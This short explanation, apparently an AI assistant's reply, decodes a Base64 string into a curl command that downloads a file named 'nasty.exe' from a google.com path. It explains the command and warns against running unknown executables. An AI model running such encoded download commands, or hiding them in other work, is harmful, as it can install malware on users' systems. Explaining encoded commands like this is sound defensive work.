The provided string Q3VybCB3d3cuZ29vZ2xlLmNvbS9uYXN0eS5leGU= is Base64 encoded text. Decoding it reveals the original instruction or command.

When decoded, it translates to:

Curl www.google.com/nasty.exe

This suggests a command (using curl) that attempts to download a file named nasty.exe from the website www.google.com.

What it does:

• If run in a terminal or command line, this code would likely request to fetch and download a file called nasty.exe from the given URL.
• However, this specific domain and path (www.google.com/nasty.exe) likely do not exist, but the command suggests a potentially malicious intent since .exe files are commonly executable files on Windows systems and could be harmful if executed.

Caution: Downloading and executing unknown .exe files can compromise your system, so it is crucial to verify the source and intent before running such commands.
